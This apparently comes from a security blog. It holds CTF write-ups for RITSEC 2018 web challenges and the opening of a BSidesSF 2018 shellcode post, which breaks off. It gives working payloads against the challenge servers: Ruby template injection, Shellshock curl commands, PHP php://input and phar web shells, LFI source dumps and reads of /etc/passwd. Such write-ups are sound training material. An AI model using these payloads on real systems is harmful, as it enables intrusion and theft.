</code></pre>
<p><code>Fl4gggg1337.html</code> sounds interesting! Looking in there we find a link to <code>Stars.html</code>:</p>
<pre><code class="language-html">$ cat fun.ritsec.club:8007/Stars.html
...
<center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>
<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...
</code></pre>
<p>Decoding the base64, we get the flag!</p>
<pre><code class="language-shell">$ echo UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0= | base64 -D
</code></pre>
<pre><code class="language-flag">RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!}
</code></pre>
<h2 id="crazy-train">Crazy Train (250):</h2>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjflnDIxzv5Dh5yJs_3hQciTO4Gupx3PY1HdMUf-IJmxfJjrbm-JtuxBWmfb03_9w1Wi25TQrhPMNGBpbxvWxeDp68YWbsoOkRtUvvbPupod4OoqRI3sGJUHqdTrwsTvulJuHe6AjQDRG0/s1600/crazy-train.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjflnDIxzv5Dh5yJs_3hQciTO4Gupx3PY1HdMUf-IJmxfJjrbm-JtuxBWmfb03_9w1Wi25TQrhPMNGBpbxvWxeDp68YWbsoOkRtUvvbPupod4OoqRI3sGJUHqdTrwsTvulJuHe6AjQDRG0/s640/crazy-train.jpg" width="640" height="377" data-original-width="551" data-original-height="325" /></a></div>
<p>This webapp had an article list & submission:</p>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEhwYKgNZZYsfyPibiWYy0OtsJ1TubfEx7WCGsZrrM8oO4mTSjOUWNyRPNr9alPzDxFxB1TuOIhspZANkr238bEeO8ROVGjsRM-i4uE6ksHguWYP_C11xAmVP4dW0s-IFYsxIs_UpvnR4/s1600/articles-list.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEhwYKgNZZYsfyPibiWYy0OtsJ1TubfEx7WCGsZrrM8oO4mTSjOUWNyRPNr9alPzDxFxB1TuOIhspZANkr238bEeO8ROVGjsRM-i4uE6ksHguWYP_C11xAmVP4dW0s-IFYsxIs_UpvnR4/s1600/articles-list.png" data-original-width="444" data-original-height="596" /></a></div>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpaQT8jSyRZhmPpxcpUn0DKY0EICjr8-f5NwyFcAW-L-Pjk4kpr6JGStEjoX6PZjbQM_iU66cyaVlRfqEnKXDZbl1v47zttjxISA3edaFELgtIn-dW3H8zq5jmBNzXfjnINfWb00jO0bM/s1600/articles-new.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpaQT8jSyRZhmPpxcpUn0DKY0EICjr8-f5NwyFcAW-L-Pjk4kpr6JGStEjoX6PZjbQM_iU66cyaVlRfqEnKXDZbl1v47zttjxISA3edaFELgtIn-dW3H8zq5jmBNzXfjnINfWb00jO0bM/s1600/articles-new.png" data-original-width="306" data-original-height="304" /></a></div>
<p>The title of this challenge & 404 page revealed it's a rails app:</p>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-YEow391ShCvXBV9ADoZa2v0ZuanuHyM3Ewfl9iA5LH7Q5k3lAveRzWv0YRR13g1k_BCbsCG94R0igXdAvk4DUDanQUWWGElwmn0_fYVN-eB1Ik4q1JZi1u57Mgy5D-oGsVrgWMS4RQY/s1600/rails-app.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-YEow391ShCvXBV9ADoZa2v0ZuanuHyM3Ewfl9iA5LH7Q5k3lAveRzWv0YRR13g1k_BCbsCG94R0igXdAvk4DUDanQUWWGElwmn0_fYVN-eB1Ik4q1JZi1u57Mgy5D-oGsVrgWMS4RQY/s1600/rails-app.png" data-original-width="677" data-original-height="421" /></a></div>
<p>Submitting a new article resulted in an interesting hidden parameter with an
empty value:</p>
<pre><code class="language-ruby">..&article[a]=&..
</code></pre>
<p>With no value specified the POST would result in a blank page.</p>
<p>If we add a value to <code>article[a]</code> it reflects back to the client:</p>
<pre><code class="language-ruby">..&article[a]=AAAA&..
AAAA
</code></pre>
<p>Knowing this is a rails app, we can try ERB SSTI
(skipping url-encoding in this post for clarity):</p>
<pre><code class="language-ruby">..&article[a]="AAAA" + (7 * 7).to_s + "BBBB"&..
AAAA49BBBB
</code></pre>
<p>Looks like it worked! Let's try something more productive:</p>
<pre><code class="language-ruby">..&article[a]=Dir["./*"].to_s&..
["./tmp", "./db", "./log", "./Gemfile", "./lib", "./Gemfile.lock",
"./config.ru", "./test", "./package.json", "./bin", "./public", "./README.md",
"./app", "./config", "./Rakefile", "./storage", "./flag.txt", "./vendor"]
</code></pre>
<p>Now just read the flag:</p>
<pre><code class="language-ruby">..&article[a]=File.read("./flag.txt").to_s&..
</code></pre>
<pre><code class="language-flag">RITSEC{W0wzers_who_new_3x3cuting_c0de_to_debug_was_@_bad_idea}
</code></pre>
<h2 id="what-a-cute-dog">What a cute dog! (350):</h2>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1cYi_XxsWzrc9IT1C_rGXUNVBcEMrCTkeVnG5UBT7ts8pHL6UWfaOCsvWr6J3-hYJJXe4yMLLhxzqrpwa3T0ieXND6bP5R5fE5D-D03MIdHbrvRBsUb4O1rWVPucye2Dl4uxomZ_ywMY/s1600/cute-dog.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1cYi_XxsWzrc9IT1C_rGXUNVBcEMrCTkeVnG5UBT7ts8pHL6UWfaOCsvWr6J3-hYJJXe4yMLLhxzqrpwa3T0ieXND6bP5R5fE5D-D03MIdHbrvRBsUb4O1rWVPucye2Dl4uxomZ_ywMY/s640/cute-dog.jpg" width="640" height="426" data-original-width="1600" data-original-height="1065" /></a></div>
<p>This web challenge had a minimal page with some linux output:</p>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic_hsxSi5dgx8NqDZKiOTSQsp9rLnNvWtll0O57JBS62LOwTwshRmvfwh6lxnylKQtQUfFnK1nGA1LxE0uLF2yCYDAiqzI2tnPCZFtRwvzAXWyGViYWZ9qPqO-ZDtna5Qy4_114btAElA/s1600/home-stat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic_hsxSi5dgx8NqDZKiOTSQsp9rLnNvWtll0O57JBS62LOwTwshRmvfwh6lxnylKQtQUfFnK1nGA1LxE0uLF2yCYDAiqzI2tnPCZFtRwvzAXWyGViYWZ9qPqO-ZDtna5Qy4_114btAElA/s1600/home-stat.png" data-original-width="627" data-original-height="284" /></a></div>
<p>Looks like command injection. Looking in the source we can see the cgi-bin
script used:</p>
<pre><code class="language-html"><iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>
</code></pre>
<p>Visiting the cgi-bin script directly we get the same <code>stats</code> output as the home
page.</p>
<p>If we curl the cgi script with <code>shellshock</code> in the <code>User-Agent</code> header, we get
command execution:</p>
<pre><code class="language-shell">$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'id'" http://fun.ritsec.club:8008/cgi-bin/stats
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre>
<p>Looking for <code>flag.txt</code> on the server, we find it in <code>/opt</code>:</p>
<pre><code class="language-shell">$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'find / -type f -name flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
/opt/flag.txt
</code></pre>
<p>Then we just read the flag:</p>
<pre><code class="language-shell">$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
</code></pre>
<pre><code class="language-flag">RITSEC{sh3ll_sh0cked_w0wz3rs}
</code></pre>
<h2 id="lazy-dev">Lazy Dev (400):</h2>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj94pwWruUfZ-9YOWcGOLJ7KgL_08b7AulhPUH2QdXIagyPfmykWDlIW7kcbssUFE0mW1DYxo5RKUAITY7CzfYQWg8Yey_aR3iBNRmRoyMXidgBFPPpJI2rd_xtf3DjNEMf5UuZaXUmicU/s1600/lazy.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj94pwWruUfZ-9YOWcGOLJ7KgL_08b7AulhPUH2QdXIagyPfmykWDlIW7kcbssUFE0mW1DYxo5RKUAITY7CzfYQWg8Yey_aR3iBNRmRoyMXidgBFPPpJI2rd_xtf3DjNEMf5UuZaXUmicU/s640/lazy.jpg" width="640" height="640" data-original-width="1600" data-original-height="1600" /></a></div>
This challenge starts from <a href="#the-tangled-web">The Tangled Web</a>. To recap,
we got a note in the HTML comments:
<pre><code class="language-html">$ cat fun.ritsec.club:8007/Stars.html
...
<center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>
<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...
</code></pre>
<p>Sounds like <code>devsrule.php</code> contains a backdoor.</p>
<p>If we look at that page, we see:</p>
<pre><code class="language-shell">$ curl http://fun.ritsec.club:8007/devsrule.php
Not what you input eh?
This param is 'magic' man.
</code></pre>
<p>This didn't give us much to work with, but trying to play with the params in
unsual ways, it reacts:</p>
<pre><code class="language-shell">$ curl http://fun.ritsec.club:8007/devsrule.php?magic[]=1
Not what you input eh?
This param is 'magic' man.
Are you trying to hack me? That's mean :(
</code></pre>
<p>So we know it must have something to do with this magic param as mentioned
in the description.</p>
<p>The next part took a while to figure out, but it's also mentioned in the
description. The only other word which stands out is <code>'input'</code>.</p>
<p>PHP contains a special wrapper '<code>input://</code>' which can take '<code>stdin</code>' from POST
data. Adding this with the <code>magic</code> parameter, and a webshell in the POST data,
we get what we would expect:</p>
<pre><code class="language-shell">$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("id"); ?>'
Not what you input eh?<br>This param is 'magic' man.<br><br>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre>
<p>Grabbing the users, we see <code>joker</code>, which may be where the flag is:</p>
<pre><code class="language-shell">$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /etc/passwd"); ?>'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
joker:x:1000:1000:,,,:/home/joker:/bin/bash
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
</code></pre>
<p>Looking in <code>joker</code>'s home directory we see a flag.txt, and cat it:</p>
<pre><code class="language-shell">$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /home/joker/flag.txt"); ?>'
</code></pre>
<pre><code class="language-flag">RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}
</code></pre>
<h2 id="archivr">Archivr (300):</h2>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJg2LwP2VA40jjkR8o67nVMFYmfU0Zh-CG5V_PMr5ySrR6nQkzzCGHu9SDHjHtYMkb40_7i8y8guE5WbQWDs3220z8QpgFie1okD61_nK3mfxGrF72OY22VZHm9POFSkvSROQbUsS5dh0/s1600/archive.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJg2LwP2VA40jjkR8o67nVMFYmfU0Zh-CG5V_PMr5ySrR6nQkzzCGHu9SDHjHtYMkb40_7i8y8guE5WbQWDs3220z8QpgFie1okD61_nK3mfxGrF72OY22VZHm9POFSkvSROQbUsS5dh0/s640/archive.jpg" width="640" height="592" data-original-width="1600" data-original-height="1479" /></a></div>
<p>The first bug was found very quickly. After visiting one of the pages, we get a URL like:</p>
<pre><code class="language-sh">http://fun.ritsec.club:8004/index.php?page=upload
</code></pre>
<p>This looks like LFI. It seems to work with a base64 encoded dump of index.php and other pages:</p>
<pre><code class="language-shell">$ curl http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=index
PD9waHAKaW5jbHVkZSgiY2xhc3Nlcy5waHAuaW5jIik7CmluY2x1ZGUoKGlzc2V0KCRfR0VUWydwYWdlJ10pICYmIGlzX3N0cmluZygkX0dFVFsncGFnZSddKSA/ICRfR0VUWydwYWdlJ10gOiAiaG9tZSIpIC4gIi5waHAiKTsKPz4K
</code></pre>
<p>This decodes to:</p>
<pre><code class="language-php"><?php
include("classes.php.inc");
include((isset($_GET['page']) && is_string($_GET['page']) ? $_GET['page'] : "home") . ".php");
?>
</code></pre>
<p>We can see why the LFI happened, now what does upload do? The main chunk of code is:</p>
<pre><code class="language-php"><?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_FILES['upload']['size'] > 5000) { //max 5KB
die("File too large!");
}
$filename = $_FILES['upload']['name'];
$upload_time = time();
$upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";
$ext = "";
if (strpos($filename, '.') !== false) {
$f_ext = explode(".", $filename)[1];
if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false) {
$ext = "." . $f_ext;
} else {
$ext = ".dat";
}
} else {
$ext = ".dat";
}
$upload_path = $upload_dir . md5($upload_time) . $ext;
mkdir($upload_dir, 770, true);
//Enforce maximum of 10 files
$dir = new DirLister($upload_dir);
if ($dir->getCount() >= 10) {
unlink($upload_dir . $dir->getOldestFile());
}
move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
$key = $upload_time . $ext;
}
?>
</code></pre>
<p>It uploads a user provided file under 5KB to an <code>/uploads/md5(SERVER_IP)/</code> directory with the md5 value of <code>time()</code>.</p>
<p>The server's internal IP can be obtained from one of the previous challenges - <a href="#lazy-dev">Lazy Dev</a>:</p>
<pre><code class="language-shell">$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<pre><?php echo system("netstat -n"); ?></pre>'
Not what you input eh?<br>This param is 'magic' man.<br><br><pre>Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 172.27.0.2:80 10.0.10.254:45996 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46396 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46096 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:45826 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46524 SYN_RECV
tcp 0 0 172.27.0.2:80 10.0.10.254:46794 ESTABLISHED
tcp 0 0 172.27.0.2:80 10.0.10.254:46520 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46246 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:45944 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46076 TIME_WAIT
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
Proto RefCnt Flags Type State I-Node Path</pre>
</code></pre>
<p>The target internal IP is:</p>
<pre><code class="language-shell">10.0.10.254
</code></pre>
<p>Next we can upload a simple web-shell and include it using the PHP wrapper <code>phar://</code>.</p>
<p>The web-shell <code>(shell.php)</code>:</p>
<pre><code class="language-php"><pre><? echo system($_GET['cmd']); ?></pre>
</code></pre>
<p>Zipping the web-shell for usage with <code>phar</code>:</p>
<pre><code class="language-shell">$ zip -0 shell.zip shell.php
</code></pre>
<p>After uploading <code>shell.zip</code> we get the current time with a <code>.zip</code> extension: <code>1542574010.zip</code>.</p>
<p>The new filename will be <code>md5(time())</code> or <code>md5('1542574010')</code>:</p>
<pre><code class="language-shell">$ echo -n 1542574010 | md5
61fda3e4ccb1a54721aa8b42519de46e
</code></pre>
<p>The upload directory will be the md5 hash of the internal IP we found:</p>
<pre><code class="language-shell">$ echo -n 10.0.10.254 | md5
98d3cbed97b0bc491c000455c9f8e6fb
</code></pre>
<p>Combining this all together, using the same url as the LFI with <code>phar://</code> instead of <code>php://filter</code>, we can list the directory:</p>
<pre><code class="language-shell">$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=ls
...
c1f3d7e3e54a30dd7c66f1840b3afe90_flag.txt
download.php
index.php
upload.php
...
</code></pre>
<p>Looks like we have the flag!</p>
<pre><code class="language-shell">$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=cat *flag.txt
</code></pre>
<pre><code class="language-flag">RITSEC{uns3r1al1z3_4LL_th3_th1ng5}
</code></pre>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@9.13.1/build/styles/arta.min.css">
<script src="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@9.13.1/build/highlight.min.js"></script>
<script>hljs.initHighlightingOnLoad()</script>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-39073791248275846852018-04-25T21:15:00.002-07:002018-04-25T21:15:25.084-07:00BSidesSF CTF 2018 - Intel Coder (200)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdT20WezIrYR7rkz_qb6B5LOQy2kEJsc8FX2BY-fbFjk554_kxTeStznxVoRmEvoKwt-0IO8I64gfhMpP6fGDhhQJZmPiHfM37Y84i9yeOh1URhrKrhKCtN13NUnlrgcC7Oi8cdLpJMck/s1600/cairn-fog-mystical-background-158607.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="709" data-original-width="1260" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdT20WezIrYR7rkz_qb6B5LOQy2kEJsc8FX2BY-fbFjk554_kxTeStznxVoRmEvoKwt-0IO8I64gfhMpP6fGDhhQJZmPiHfM37Y84i9yeOh1URhrKrhKCtN13NUnlrgcC7Oi8cdLpJMck/s640/cairn-fog-mystical-background-158607.jpeg" width="640" /></a></div>
<br />
This challenge was like a "baby's first" x86 challenge, with a couple small twists.<br />
<br />
First if we run it we can get a segfault quickly (looks like it will just run our shellcode):<br />
<br />
<pre>
$ ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
4
[+] OK, please send the shellcode.
AAAA
[+] Setting up sandbox.
[1] 6014 segmentation fault (core dumped) ./coder
</pre>
<br />
The statement "Setting up sandbox." sounds interesting, we should probably investigate that.<br />
<br />
Looking for this string in Binary Ninja and finding the relevant Xrefs in main we find a function right underneath the print:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNtPjjiBbFSRY-iC484OZbcWBoQutEseFlWA8Hje2sy_Us4fXBBhlgTxJ44iPoNuNWELi3wWv4QF9C3U8el67oz9JC96N8W3nhsMqUW22w0_3SS3lviyW7cbJnjVvZ7e6EEVeYQhdjK40/s1600/setup-sandbox.png" imageanchor="1" style="margin-left: -1.5em; margin-right: 1em;"><img border="0" data-original-height="450" data-original-width="888" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNtPjjiBbFSRY-iC484OZbcWBoQutEseFlWA8Hje2sy_Us4fXBBhlgTxJ44iPoNuNWELi3wWv4QF9C3U8el67oz9JC96N8W3nhsMqUW22w0_3SS3lviyW7cbJnjVvZ7e6EEVeYQhdjK40/s1600/setup-sandbox.png" /></a></div>
<br />
This binary is stripped so we don't get a nice name for sandbox setup, we can rename sub_2200a in Binary Ninja by clicking it, hitting 'n' and typing a new symbol name, such as 'setup-sandbox'.
<br />
<br />
Looking at this function we can see what's familiar to seccomp setup. Another post covering seccomp on a binary is <a href="https://fadec0d3.blogspot.com/2017/05/def-con-ctf-quals-2017-mute.html">mute</a>, using this as a reference we can rename the other unlabeled functions such as 'seccomp_rule_add'. It looks very similar to <a href="https://fadec0d3.blogspot.com/2017/05/def-con-ctf-quals-2017-mute.html">mute</a> where we can look up the arguments and syscalls being passed to seccomp, but there's something slightly more complicated below:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX7dyvQ7dZcw94HHLHZpAj2ha9OOK48VDxxwyaQS_mKYpQzIRTbbURPIl4k8Tt6PPfzRDAsRnLaN2-HMPuaZ_ITxY1WzuQ9I99DoPloe2rOgUDQApws9wOpbXeCcviAwcQMq1lQZTkq6M/s1600/seccomp-setup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="626" data-original-width="816" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX7dyvQ7dZcw94HHLHZpAj2ha9OOK48VDxxwyaQS_mKYpQzIRTbbURPIl4k8Tt6PPfzRDAsRnLaN2-HMPuaZ_ITxY1WzuQ9I99DoPloe2rOgUDQApws9wOpbXeCcviAwcQMq1lQZTkq6M/s1600/seccomp-setup.png" /></a></div>
<br />
We could analyze this manually, but it would be a lot nicer to use <a href="https://github.com/david942j/seccomp-tools">seccomp-tools</a>:
<br />
<br />
<pre>$ echo '1\nA\n' | seccomp-tools dump ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
[+] OK, please send the shellcode.
[+] Setting up sandbox.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x0f 0x00 0x40000000 if (A >= 0x40000000) goto 0019
0004: 0x15 0x0d 0x00 0x00000003 if (A == close) goto 0018
0005: 0x15 0x0c 0x00 0x0000000f if (A == rt_sigreturn) goto 0018
0006: 0x15 0x0b 0x00 0x00000028 if (A == sendfile) goto 0018
0007: 0x15 0x0a 0x00 0x0000003c if (A == exit) goto 0018
0008: 0x15 0x09 0x00 0x000000e7 if (A == exit_group) goto 0018
0009: 0x15 0x00 0x09 0x00000002 if (A != open) goto 0019
0010: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32
0011: 0x15 0x00 0x07 0x00007f35 if (A != 0x7f35) goto 0019
0012: 0x20 0x00 0x00 0x00000010 A = args[0]
0013: 0x15 0x00 0x05 0x5e303428 if (A != 0x5e303428) goto 0019
0014: 0x20 0x00 0x00 0x0000001c A = args[1] >> 32
0015: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0019
0016: 0x20 0x00 0x00 0x00000018 A = args[1]
0017: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0019
0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0019: 0x06 0x00 0x00 0x00000000 return KILL
</pre>
<br />
This clearly shows us the seccomp rules are setup to allow: close, rt_sigreturn, sendfile, exit, exit_group & open.
<br />
<br />
We have your typical ORW (open/read/write) restriction, where read & write is taken care of in the syscall sendfile.
<br />
<br />
Under line 0009 we can see it expects arguments for open to be set correctly. In the binary there's a mention of './flag.txt' @ 0x2b428, this is probably the argument the seccomp rule is referring to, but we can verify this by looking in Binary Ninja.
<br />
<br />
At the bottom of the image above, we see a reference to data_245110. Clicking that takes us to the data section referencing 0x2b428, which we just found was './flag.txt':
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZEKBCOHbO0TyRmJTfOWNwO2IvUTDTCSoT2pO2QKigk4zbbHrBWz2IzGv4kZ1x9pQpsW0dIPulJfvJ6ayvDZtDRvcZyrpUul_pW1qJSjq1wTReUW2yN1i2d-50mugooLNWqM6f8GZi6tU/s1600/data-section.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="251" data-original-width="712" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZEKBCOHbO0TyRmJTfOWNwO2IvUTDTCSoT2pO2QKigk4zbbHrBWz2IzGv4kZ1x9pQpsW0dIPulJfvJ6ayvDZtDRvcZyrpUul_pW1qJSjq1wTReUW2yN1i2d-50mugooLNWqM6f8GZi6tU/s1600/data-section.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizknTpphBET4fCxqjPw0pQCu_7l-tTzkO9YIA7m_9wfeKY6FagYHgdd7DfROnJw00cFbZS1D-XJ2eID6EFLE0wpj4LqUDW8QChs5lf3Rf0yPsu8VLQ__Jmpw1ysHRIrGEOanjSE-SquXE/s1600/rodata.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="213" data-original-width="768" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizknTpphBET4fCxqjPw0pQCu_7l-tTzkO9YIA7m_9wfeKY6FagYHgdd7DfROnJw00cFbZS1D-XJ2eID6EFLE0wpj4LqUDW8QChs5lf3Rf0yPsu8VLQ__Jmpw1ysHRIrGEOanjSE-SquXE/s1600/rodata.png" /></a></div>
<br />
So now we know our shellcode should have the following constraints:<br />
<ul>
<li>64 bit</li>
<li>use open with the argument './flag.txt'</li>
<li>use sendfile to read & write after open</li>
</ul>
<br />
This seems fairly simple! There's only one more catch.<br />
We will need to get the exact address of './flag.txt' which is randomized because PIE is enabled:<br />
<br />
<pre>$ checksec coder
[*] './coder'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
FORTIFY: Enabled
</pre>
<br />
We can setup a very simple client to check out the state of registers once it executes our shellcode:<br />
<br />
<pre>#!/usr/bin/env python
from pwn import *
if args.LOCAL:
p = process(['./coder'])
else:
p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086)
context(terminal=['tmux', 'split'], bits=64, arch='amd64')
gdb.attach(p, 'stepi')
payload = '\xcc' * 10
payload = '{}\n{}\n'.format(len(payload), payload)
p.sendline(payload)
p.interactive()
</pre>
<br />
Running this in a new tmux session with the LOCAL flag set, we can continue and hit the interrupt setup in the beginning of our payload:<br />
<br />
<pre>$ python client.py LOCAL
...
[──────────────────────────────────REGISTERS──────────────────────────────────]
*RAX 0x7fc5de64f000 <— 0xcccccccccccccccc
*RBX 0x0
*RCX 0x7fc5de652fe0 <— 0
*RDX 0x7fc5de449190 <— mov rsp, rsi
*RDI 0x7fc5de64f000 <— 0xcccccccccccccccc
*RSI 0x7fc5de652fe0 <— 0
*R8 0x7fc5df54e000 <— 0x0
*R9 0x7fc5df54e010 —▸ 0x7fc5df54e390 <— 0xd0
*R10 0x7fc5de1fb7b8 (main_arena+88) —▸ 0x7fc5df54ea10 <— 0x0
